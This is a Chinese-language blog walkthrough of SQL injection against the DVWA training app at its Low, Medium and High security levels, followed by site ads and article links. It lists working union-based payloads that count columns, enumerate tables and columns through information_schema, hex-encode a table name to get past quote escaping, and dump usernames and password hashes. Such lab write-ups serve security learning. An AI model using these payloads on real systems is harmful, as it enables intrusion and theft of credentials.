DVWA-sql注入
一,Low
1,通过1 and 1=1 和 1 and 1=2 和 1' and ’1’=1# 判断是否存在注入点和注入类型


由此可见,为字符串型注入
2,通过 1’ order by 2# 和 1' order by 3 # 试探有多少列,由此可见,有两列(因为order by 3 报错)


3,关于' 和 # 的解释
存在单引号闭合
所以如果不加’和 # 的话,查询语句应该是这样的: id = '1' order by 2
即,后面的order by 2 不被调用
加上后: id = '1'' order by 2 #'
1后面加'是为了闭合本身1后面的单引号,#是为注释后面数据库规则加的单引号
后面联合查询也是同理
3,联合查询
首先,要判断可以显示的注入点:1' union select 1,2 #
ps:1,2 可以被替换
pps:下图可以看出有两个回显点

查询当前的数据库,以及版本:
1' union select version(),database() #
ps:database() ------当前数据库
version() -------当前版本

查询数据库中的表:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

查询表中的字段名:
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #

查询字段中的数据(例如账号密码):
1' union select user,password from users #

二,Medium
1,首先是要确定注入点,下图可见,url和查询点都没有注入点,尝试抓包

通过测试判断出注入点为id= 1

2,通过 1 order by 2 和 1 order by 3 试探有多少列,由此可见,有两列(因为order by 3 报错)

3,联合查询
判断注入点:1 union select 1,2

查询当前的数据库,以及版本:1 union select version(),database()

查询数据库中的表:1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

查询表中的字段名:1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273

ps:user转化为hex(因为存在单引号和斜杠闭合)

查询字段中的数据(例如账号密码):1 union select user,password from users

三,High
1,1,通过1 and 1=2 , 1' and 1=2# 和 1' and ’1’=1# 判断是否存在注入点和注入类型



由此可见,为字符串型注入,切存在单引号闭合
2,通过 1’ order by 2# 和 1' order by 3 # 试探有多少列,由此可见,有两列(因为order by 3 报错)


3,联合查询
判断可以显示的注入点:1' union select 1,2 #

查询当前的数据库,以及版本:
1' union select version(),database() #

查询数据库中的表:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

查询表中的字段名:
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #

查询字段中的数据(例如账号密码):
1' union select user,password from users #

四,Impossible
有csrf,单纯注入不行,就不记录了
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· 单线程的Redis速度为什么快?
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码